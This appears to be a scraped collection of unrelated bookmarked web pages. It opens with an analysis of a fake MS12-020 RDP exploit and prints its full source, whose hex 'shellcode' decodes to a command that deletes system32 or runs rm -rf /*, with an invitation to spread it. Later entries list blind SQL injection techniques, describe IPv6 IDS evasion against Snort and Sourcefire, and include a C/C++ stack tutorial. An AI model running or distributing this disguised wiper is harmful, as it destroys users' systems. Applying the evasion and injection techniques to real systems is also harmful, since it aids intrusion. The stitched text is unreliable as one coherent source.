shellcode = "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
shellcode += "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
shellcode += "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
shellcode += "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
shellcode += "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
shellcode += "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
shellcode += "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
shellcode += "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
shellcode += "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
shellcode += "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
shellcode += "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
shellcode += "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
shellcode += "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
shellcode += "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"


The value of the code under the 'xscholler' section 1, can be converted to assembly by using ConvertShellcode http://zeltser.com/reverse-malware/ConvertShellcode.zip but before proceeding to something advance, let's have a look on the part of section 2.

An easy method to briefly check what's under there is by reading the values of the hex. echo command under linux can help us to do that.

eg:

echo -e "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
echo -e "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
echo -e "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
echo -e "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
echo -e "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
echo -e "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
echo -e "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
echo -e "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
echo -e "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
echo -e "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
echo -e "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
echo -e "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
echo -e "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
echo -e "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"

Will produce the following results:

__import__('os').system('del /s /q /f C:\windows\system32\* > NUL 2>&1') if 'Win' in __import__('platform').system() else __import__('os').system('rm -rf /* > /dev/null 2>&1') #hi there ^_~ feel free to spread this with  the rm -rf replaced with something more insidious


So this is just another fake exploit that will try to identify the system and execute a deletion.

Below is the code of this fake, please don't use it

#!/usr/bin/env python
# greating n4sss and foreach my friends and luk3r-C
# xsdev@outlook.com
# rdpxs.py
# MS12-020 RDP, remote exploit code execution
# on all patch machines, XP to 7
# testado nas versoes windows 7 xp e vista com patch.
#
# Author: xscholler

import struct
import socket
import sys
import os

xscholler = "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\xf1"
xscholler += "\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63"
xscholler += "\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a"
xscholler += "\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f"
xscholler += "\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73"
xscholler += "\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c"
xscholler += "\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70"
xscholler += "\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61"
xscholler += "\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33"
xscholler += "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32"
xscholler += "\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e"
xscholler += "\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39"
xscholler += "\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e"
xscholler += "\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51"
xscholler += "\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64"
xscholler += "\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37"
xscholler += "\x41" * 39
xscholler += "\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73"
xscholler += "\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61"
xscholler += "\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78"
xscholler += "\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e"
xscholler += "\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30"
xscholler += "\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b"
xscholler += "\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x00"

argument = "\x90" * 214

#bindshell PORT 8888
shellcode = "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
shellcode += "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
shellcode += "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
shellcode += "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
shellcode += "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
shellcode += "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
shellcode += "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
shellcode += "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
shellcode += "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
shellcode += "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
shellcode += "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
shellcode += "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
shellcode += "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
shellcode += "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"

xst = xscholler + argument

class RDPsocket(socket.socket):
def __init__(self, payload, shellcode):
super(RDPsocket, self).__init__(socket.AF_INET, socket.SOCK_STREAM)
self.payload = payload
self.table = __imPORT__("__builtin__").__dict__ #
self.shellcode = shellcode

def parse(self, address, shellcode):
fucker = (struct.pack(">I", 0x6576616c),
socket.inet_aton(address[0]), #IP bytes
socket.inet_aton(str(address[1]))) #PORT bytes
linha = struct.pack(">I", 0x8fe2fb63) #pop eax
linha += struct.pack(">I", 0x8fe2fb58) #push esp
linha += struct.pack(">I", 0xffff1d6b) #add esp,byte +0x1c # pop ebp # ret
linha += struct.pack(">I", 0x8fe2db10) #call strcpy
linha += struct.pack(">I", 0x8fe2dfd1) #POP - POP - RET over strcpy params
linha += struct.pack(">I", 0x8fe2dae4) #mov ecx,[esp+0x4] # add eax,edx # sub eax,ecx # ret
linha += struct.pack(">I", 0x8fe2b3d4) #POP - RET
linha += struct.pack(">I", 0xffffffff) #value to store in ecx
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += fucker[0] #add the prelude
linha += fucker[1] #add the packed IP address
linha += fucker[2] #add the packed PORT
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe2c71d) #mov eax,edx # ret
linha += struct.pack(">I", 0x8fe2def4) #add eax,ecx # ret
linha += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe2def4) #add eax,ecx # ret # swap back
linha += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx # copy parameter to placeholder
linha += struct.pack(">I", 0x8fe2fb61) #mov [eax],edx # pop eax # ret # set our stack pointer back
to original value
linha += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx
linha += struct.pack(">I", 0x8fe2daea) #sub eax,ecx # ret
linha += struct.pack(">I", 0x8fe0b1c2) #xchg eax,ebp # inc ebp # ret
linha += struct.pack(">I", 0x8fe2b6a5) #dec ebp # ret
linha += struct.pack(">I", 0xffff01f3) #mov esp,ebp # pop ebp # ret
read = self.table[fucker[0]] #reader for the linha shellcode/data

return str(read(shellcode)), linha

def connect(self, address):
self.linha_shell = self.parse(address, shellcode)
super(RDPsocket, self).connect(address)

def xst_sendall(self):
super(RDPsocket, self).sendall(evil + self.linha_shell[0] + self.linha_shell[1])


if __name__ == "__main__":
if len(sys.argv) != 2:
print "[*] Usage: python rdpxs.py IP"

else:
ALVO = sys.argv[1]
PORT = 3389 #default RDP PORT

print "[*] Rodando rdpxs"
print
s = RDPsocket(xst, shellcode)
print "[+] Conectando e configurando payload. . ."
print "[+] isso pode levar alguns minutos..."
s.connect((ALVO, PORT))
print "[+] Conexao estabelecida"
print "[+] Enviando payload. . ."
s.xst_sendall()
response = s.recv(4096)
if "\xA5\x43\xE7\x38\x75\x84\xF2\xFF\xFF\x18\x61\x00" in response:
print "[+] Bem Succedido! Payload enviado e executado com sucesso!."
print "[+] Telnet ALVO na PORT 8888."
else:
print "[-] Failed"
s.close()  
﻿http://narf-archive.com/pix/767669eda34bd3e91bbb078882da3f5c6ae733e2.jpeg 
767669eda34bd3e91bbb078882da3f5c6ae733e2.jpeg 480 × 2811 Pixel
Created:
7/21/2010 6:09:47 AM
Updated:
7/21/2010 6:10:09 AM
Author:

Tags:
LOLZ


﻿https://arxiv.org/pdf/1709.02840.pdf 
A Brief Introduction to Machine Learning for Engineers
Created:
3/7/2018 8:23:34 AM
Updated:
3/7/2018 8:23:46 AM
Author:
wishi
Tags:
machine-learning




A Brief Introduction to Machine
Learning for Engineers
﻿http://esploit.blogspot.com/2011/04/blind-sqli-techniques.html 
::eSploit::: Blind SQLi techniques
Created:
4/13/2011 7:45:06 AM
Updated:
4/13/2011 7:45:06 AM
Author:

Tags:
cheat sheets sql-injection



Blind SQLi techniques

Blind SQLi techniques « Reiners’ Weblog: "You can extract data more efficiently and thus safe requests and time by using the following techniques:
extracting data with bit shifting
extracting data with find_in_set
extracting data with find_in_set and regexp (also here)
extracting data through mysql errors
extracting data through mysql errors (more reliable)
http://websec.wordpress.com/2011/04/06/blind-sqli-techniques/
http://www.exploit-db.com/papers/13696/


﻿http://www.insinuator.net/2014/10/a-please-dont-waste-my-time-approach-and-the-sourcefiresnort-evasion/ 
A “Please, Don’t Waste my Time” Approach and the Sourcefire/Snort Evasion - Insinuator
Created:
10/18/2014 4:44:42 PM
Updated:
10/18/2014 4:46:09 PM
Author:

Tags:
iDS/iPS awesome Defense


A “Please, Don’t Waste my Time” Approach and the Sourcefire/Snort Evasion
0 Comments | Posted by Enno Rey
This is a guest post from Antonios Atlasis.
Yesterday we (Rafael Schaefer, Enno and me) had the pleasure to deliver together our talk at BlackHat Europe 2014 named Evasion of High-End IDPS Devices at the IPv6 Era (by the way, latest slides can be found here and the white paper here). In this talk we summarised all the IDPS evasion techniques that we have found so far. At previous blogposts I had the chance to describe how to evade Suricata and TippingPoint. In this post I am going to describe some other techniques that can be used to evade Snort, and its companion commercial version, Sourcefire. The tool used to evade these IDPS is –  what else – Chiron
The versions that we used for our tests are the latest available ones at the time of this writing, that is:
· Sourcefire, Model 3D7020 (63) Version 5.2.0.3 (Build 48), VDB version 216.
· Snort 2.9.6.2 GRE (build 77), Registered User’s Release Rules.
As an “attacking” vector, for reasons of simplicity we considered the ICMPv6 Echo Request message. That is, we enabled the rule that detects such messages and we tried to deliver our packet without being blocked or triggering an alert (during our tests, Sourcefire was used inline while Snort in parallel).
In both devices we enabled some additional rules that come disabled by default in order to make our evasion attempts harder and, possibly, more realistic. To this end, we enabled the Preproc decoder rules GID 116 family and specifically, the ones with SID 458 (IPV6_BAD_FRAG_PKT), 272 and 273. These rules detect some of the attacks that have been reported in the past.
However, even doing so Sourcefire can be evaded by using the following arbitrary IPv6 header chain:
a. The unfragmentable part consists of three (3) Destination Option headers.
b. The fragmentable part consists of two (2) Destination Option headers plus the layer 4 header.
c. The aforementioned datagram is split in two fragments, as shown in the figure:


A Wireshark output of the above technique is displayed below:


We should note that when we enable the rule with SID:296 an alert is triggered (“DECODE_IPV6_UNORDERED_EXTENSIONS”) but there is no alert about ICMPv6 Echo Request (our “attack” itself). Furthermore the problem with this rule is that it also triggers alerts when fully legitimate and RFC compliant packets with IPv6 Extension headers are used (= false positives). Hence, there is a doubt whether this would be useful to a real working environment since it can rather confuse the intrusion analysts with the produced false alarms. So, this does not seem to be a realistic and effective way of detecting any kind of attacks when specific arbitrary IPv6 header chains are used.
However, the aforementioned technique does not work against latest Snort. Probably because latest Sourcefire is based on Snort 2.9.6, while latest Snort release is 2.9.6.2. Anyway, we did not bother that much. We tried to find an evasion technique that works against Snort too. And here it is. To do so, the IPv6 header chain must consist of:
a. An unfragmentable part, which consists of a Hop-by-Hop header, a Type 3 Routing header and a Destination Options header.
b. A fragmentable part, which consists of a Destination Options header, the layer-4 header and its payload.
c. The fragmentable part is split in two fragments, as displayed in the next figure:


As you can easily notice, first, the latest technique is actually a variation of the previous one and secondly, this last case could be a fully legitimate combination of IPv6 packets (OK, unless RFC 7112 is implemented, of course). A final note: This last technique works also against Sourcfire.
Now, the sad side of the story.
We first tried to contact the Snort developers on 17th of June for reporting a previous issue. They asked us to send a pcap file, which we did. Unfortunately, we haven’t heard back from them yet. Then, we reported the aforementioned issue to Sourcefire on Sep 14th, as well as to Cisco on Sep 25 (since now Sourcefire has been acquired by Cisco),  including pcap files. Their reaction?
“If you are concerned about Sourcefire product, I suggest that you contact ... customer support versus emailing ... directly”
Well, sorry guys, but we just tried to help; we do not need any customer support. [for the record: we even tried that given we had some cases/tickets from an ongoing customer project, to no reasonable avail.]
On the contrary, we must say that during our tests and the process of discovering IDPS evasion techniques, the Suricata developers had always the fastest reaction (patching each reported issue in about a week) and, they also say ...thank you. On the other hand, TippingPoint, when we reported to them two vulnerabilities, they preferred to patch them ...silently.
Anyway, we are pretty sure that Snort and Sourcefire are going to fix these issues at some point. In the meantime, enjoy IPv6 ;).
For more info regarding the techniques and each specific case (including Suricata and TippingPoint), please check our white paper.
Have a great weekend
Antonios
Chiron, IPv6, Sourcefire
No comments yet.
Leave a comment!
Name* Mail* (will not be published) Website Spam protection*: Sum of 3 + 8 ? Comment 
Preview:
Deaggregation by large organizations >>
﻿ASIST: Architectural Support for Instruction Set Randomization
Created:
11/7/2013 1:45:14 PM
Updated:
11/7/2013 1:47:22 PM
Author:
wishi
Tags:
asm cpu






﻿http://asset.soup.io/asset/1888/0071_240d.jpeg 
0071_240d.jpeg (JPEG-Grafik, 600x512 Pixel)
Created:
5/29/2011 9:43:15 PM
Updated:
5/29/2011 9:43:21 PM
Author:

Tags:
LOLZ


﻿http://altdevblogaday.com/2011/12/14/c-c-low-level-curriculum-part-3-the-stack/ 
#AltDevBlogADay » C / C++ Low Level Curriculum Part 3: The Stack
Created:
1/31/2012 7:29:58 PM
Updated:
1/31/2012 7:30:45 PM
Author:

Tags:
C++ Debugging visualstudio stackbof


C / C++ Low Level Curriculum Part 3: The Stack
Welcome to the 3rd part of the series I’m doing on a Low Level Curriculum for C/C++.
This one is about the Stack, which is arguably the most important component of the underlying “engine” of C/C++. If you only ever bother to learn about one aspect of the low level behaviour of C/C++, then my advice is to make that one thing be the Stack.
You probably won’t need to have read the first two parts of this series to follow this article, but I will assume that you have – and I definitely assume that you do not fear the disassemby window.
In case you want to go back and read them here are links to the first two articles:
1. http://altdevblogaday.com/2011/11/09/a-low-level-curriculum-for-c-and-c/
2. http://altdevblogaday.com/2011/11/24/c-c-low-level-curriculum-part-2-data-types/
 
Prologue
If you are a C++ programmer and you’re not 100% sure what the Stack is or how it works, then you are not alone.

The Bjible
Bjarne Stroustrup’s book “The C++ Programming Language (3rd edition)” – which is pretty much the standard text on C++ (at least until the update for the C++11 standard is published...) – does not discuss what the stack is or how it works; although it does refers to data or objects being “on the stack” as if the reader knows what this means.
The closest you get to concrete information about the Stack in the Bjible is the following paragraph in a section in Appendix C entitled “C.9 Memory Management”...
“Automatic memory, in which function arguments and local variables are allocated. Each entry into a function or a block gets its own copy. This kind of memory is automatically created and destroyed; hence the name automatic memory. Automatic memory is also said ‘‘to be on the stack.’’ If you absolutely must be explicit about this, C++ provides the redundant keyword auto .”
Don’t get me wrong, this is still a very very good book (and one I refer to fairly often), but the fact that the standard text on C++ all but ignores something as core to the internal operation of C++ as the Stack is telling indeed. In my experience, this is symptomatic of the disconnect between programming language and underlying implementation that exists in the academic mindset.
On my Computer Science degree the concept of the Stack was covered in a couple of slides during a compulsory 1st year module called “Computer Systems and Architecture”, but never specifically with relation to the programming languages we were learning – and this, dear reader, is why I feel compelled to write about it...
 
What is the Stack?
Unsurprisingly, the Stack is a stack data structure. For the sake of clarity I’m going to capitalise the Stack to discriminate it from just any old instance of a stack data structure.
In a single threaded program the Stack contains the vast majority of the data relating to the current execution state of the program and all non-global “automatic” memory under the control of the compiler – i.e. local variables, function parameters etc.
When you put a breakpoint in your code in your IDE of choice and use the Call Stack window to discover the stack of function calls that got you to your breakpoint, the data used to populate that window was almost certainly derived by the debugger from examining the state of the Stack.
The detailed specifics of the way the Stack functions varies from CPU to CPU, machine to machine, compiler to compiler, and even with the same compiler and different compiler options (more about that in the next post!).
Broadly speaking, each time a new function is called:
· the current CPU execution state (i.e. the instantaneous values of CPU registers) is backed up into the Stack so it can be reinstated later,
· some or all of the parameters expected by the function being called are put into the Stack (many implementations use registers for parameter passing when possible), and
· the CPU jumps to a new location in memory to execute the code of the called function.
In the generalised case then, the Stack includes the following information:
· all of the local variables and function parameters of the functions below the top of the call stack,
· copies of the contents of all the CPU registers that were in use in each function below the top of the call stack when the call to the function above it was made,
· the memory address of the next instruction to execute in each of the functions below the top of the call stack when the function above them returns (the “return address”).
The area of Stack that contains the local variables belonging to a function (and any other data it might happen to put there) is said to be that function’s Stack Frame. This is an important term, don’t forget it!
Clearly the operation of the Stack is massively important to the execution of your code, and hopefully it is now obvious why something as easily done as writing outside of the bounds of an array declared as a local inside a function can cause such an epic fail – the out of bounds write is very likely to overwrite a function’s return addess or some other value crucial to the correct running of the program once the current function returns.
 
How does the Stack work in practice?
To help answer these questions let’s consider a (very simple) C/C++ program:
1
2
3
4
5
6
7
8
9
10
11
12
int AddOneTo( int iParameter )
{
    int iLocal = iParameter + 1;
    return iLocal;
}
 
int main( int argc, char** argv )
{
    int iResult = 0;
    iResult = AddOneTo( iResult );
    return 0;
}
I will be stepping through this program as a win32 console application built using VS2010 in a debug configuration with more or less the default compiler and linker settings, and the screenshots in this article will reflect this.
I would definitely advise doing this yourself by hand after reading this article because it’s always much more instructional to muddle through something like this yourself than it is to just read it...
As I mentioned earlier, the detailed specifics of the operation of the Stack – especially with regards to passing parameters to functions – will depend on the compiler options you use. The differences are mostly down to a set of code generation standards that are called “calling conventions”, each convention has its own rules about how parameters are passed to functions and how values are returned. Some tend to be faster, some tend to be slower, but most are designed to meet specific requirements for passing data – such as C++ member function calls, or variable numbers of parameters (e.g. printf() ).
The default calling convention used by VS2010 with C-style functions (i.e. no ‘this’ pointer) is known as stdcall, and since we’re looking at a debug build the disassembly we’re looking at will be using entirely un-optimised stdcall. This calling convention puts everything on the Stack other than return values from functions which are returned via the eax register.
If you are runningthis code on non wintel hardware, then the operation and organisation of the Stack in the code generated by your compiler, and the way parameters are passed will almost certainly be subtly – or even markedly – different from what I’m showing you in my debugger here, but the fundamental mechanisms by which it works should be basically the same.
 
Setting up
To start with, make an empty win32 console project, create a new .cpp file in it (I’d call it main.cpp if I were you), and then paste the above code into it.
Next, open up the project settings and make sure you have the “run time checks” option set to “default”.  This not only makes the debug code (a lot) faster, but also simplifies the assembler it generates substantially – especially in the case of our very simple program. The image below shows you what the options dialog should look like after you make the change.

important areas higlighted in red for good measure!
Put a breakpoint on line 7 (yes, I know this line is the definition of main()) and then compile and run a debug build. When the Breakpoint gets hit, right click the source window and choose “Go To Disassembly”.
You should now be seeing something like this (n.b. the addresess of the instructions down the left edge of the window will almost certainly be different in your disassembly window):

n.b. make sure you have the same display options checked in the right-click menu
DON’T PANIC
Clearly this is significantly more daunting than the disassembly we have looked at before so, before going any further, let’s cover a little background on the way that the Stack is managed in compiler generated 32bit x86 assembler (at least by the VS2010 C++ compiler with the default compiler and linker settings).
 
Before we begin...
The first piece of information that will start to make sense of this is that two key CPU registers are usually involved in the management of Stack Frames in 32bit x86 assembler:
· esp – or the Stack Pointer register which always points to the “top” of the Stack, and
· ebp – or the Base Pointer register which points to the  start (or base) of the current Stack Frame.
Local variables are typically represented as offsets from the ebp register, in this case iResult is stored at the address [ebp-4].
If you want to see the local variable names rather than offsets from ebp you can right-click and check the “Show Symbol Names” option, but knowing that offsets from ebp are negative is useful.
Why are the offsets from ebp of local variables negative?  This is because the x86 Stack grows downwards in memory – i.e. the “top” of the stack is stored in a lower memory address than the “bottom”.  Consequently, the address stored in ebp is higher than the address in esp, and so local variables within the stack frame have negative offsets from ebp (and would have a positive offset from esp).
I’m pretty sure that every machine I’ve worked with has had a stack that grows down rather than up in address space, but as far as I know there’s no Universal Law of Computers that says that the Stack must do this – I’m sure there must be machines that have stacks which grow the opposite way.
Whilst this sounds counter-intuitive, having a stack that grows downward in memory address makes sense when considered in terms of the traditional overall memory layout of C / C++ programs, which we’ll cover in a later article in the series dealing with memory.
Push and Pop
As I’m sure you all already know, the two key operations of the abstract data structure known as a stack are to push something onto the top of it (covering the previous top), or to pop whatever is on the top off it (exposing the previous top).
Unsurprisingly the x86 instruction set has a push and a pop instruction, each of which take a register operand:
· push decrements esp by the size of its operand and then stores that operand into the address pointed to byesp (i.e. on the top of the Stack).
· This means that after a push instruction, the value at the address esp points to whatever was pushed onto the Stack.
· pop copies the value from the address contained in esp into its operand and then increments esp by the size of its operand so that its operand is essentially removed from the Stack.
These behaviours are key to the way in which the Stack operates.
 
How the Stack looks before our code executes
As I’m sure most of you know there is code that runs before main(). This code is responsible for all sorts of system initialisation, and when it’s finished it calls main() passing the command line arguments as parameters.
Let’s look at the layout of the Stack at the point just before the first instruction in main() is executed – in the diagram below I have called the function that calls main() “pre-main()” – you will probably find that the name of the actual function in your program’s call stack is a scary looking combination of underscores and capitalised acronyms.
This diagram will make more sense when you come back to look at it after reading the rest of the article.

the state of the Stack before our code executes
 
The Function Preamble (or Function Prologue)
Before the disassembly even gets as far as assigning 0 to iResult we have a fair amount of assembler for what looks like nothing at the C/C++ level; so let’s make sense of it.
1
2
3
4
5
6
7
8
     7: int main( int argc, char** argv )
     8: {
01311280  push        ebp
01311281  mov         ebp,esp
01311283  sub         esp,44h
01311286  push        ebx
01311287  push        esi
01311288  push        edi
A block of assembler very similar to this will be at the start of every compiler generated function, and is usually referred to as the function’s “preamble” or “prologue”.
The purpose of this code is to create the stack frame for the function, and to store the content of any registers the function is going to use so that those values can be reinstated before the function returns:
[n.b. line numbers used in points below refer to the numbers in the code box above]
· line 3: is storing the current value of ebp on the Stack using the instruction push.
· line4: is moving the current value of esp to ebp. ebp now points straight to the old value of ebp that was just pushed onto the stack.
· line 5: is subtracting 44h (68 in decimal) in place from the value esp. This has the effect of allocating 68bytes on the Stack after ebp.
· line 6, 7, and 8: are storing the values contained in the ebx, esi, and edi registers respectively by pushing them onto the stack. This is because the assembler in main() makes use of these registers and needs to be able to restore them to their old states before it returns. Note that each push instruction will decrease the value of esp by 4 bytes.
N.B. If you’re following this in the debugger, then I would advise that you open a “Registers” window in your debugger to watch the values of the registers change as you single step through the disassembly. You would probably also do well to have memory windows open so you can point them at esp and ebp to watch the values change in memory (to get a memory window in VS2010 to track a register you will need to click the “Reevaluate Automatically” button to the right of the “Address:” edit box and then type the register’s name into the edit box).
At this point, the Stack looks like this:

state of the Stack after preamble of main()
A couple of things to note about these Stack snapshot diagrams:
· The value T in the top left of these snapshots is used to identify old values of ebp stored in the Stack.
· Different colours are used to show which function is responsible for putting the data onto the Stack (and therefore for taking it off...).
· Different shades of the same colour represent different logical types of data put onto the stack by each function (i.e. base pointer, stack frame (locals), values of saved registers, and parameters /return addresses).
 
The function Postamble (or Epilogue)
Once the body of the function has finished executing, the Stack and registers need to be put back in the same state they were in before the function preamble so that the calling function can happily carry on excuting where it left off.
This is the job of the function postamble, or epilogue. The postamble simply does the logical opposite of the preamble – it pops whatever the preamble pushed, and reinstates the values that esp and ebp had before the preamble code executed.
In the code box below I’ve deleted the body of the function so that the preamble and postamble code are ajdacent. Looking at it like this it’s very clear that the postamble is doing the opposite of the preamble.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
     7: int main( int argc, char** argv )
     8: {
01311280  push        ebp
01311281  mov         ebp,esp
01311283  sub         esp,44h
01311286  push        ebx
01311287  push        esi
01311288  push        edi
... code representing the body of main() removed ...
    12: }
013112A1  pop         edi
013112A2  pop         esi
013112A3  pop         ebx
013112A4  mov         esp,ebp
013112A6  pop         ebp
013112A7  ret
The only line in the preamble that doesn’t have a direct opposite in the postamble is line 5 (sub esp, 44h) – and that’s because assigning to esp from ebp in line 14 undoes lines 4 and 5.
Since all functions have a preamble and postamble, covering these two sections of the disassembly up front means we can essentially ignore the preamble and postamble from now on, and focus on the code that is different in each function.
 
And now: actual code we wrote!
Now we’ve covered the preamble and postamble we can concentrate on the body of main(), and how it calls the function AddOneTo().
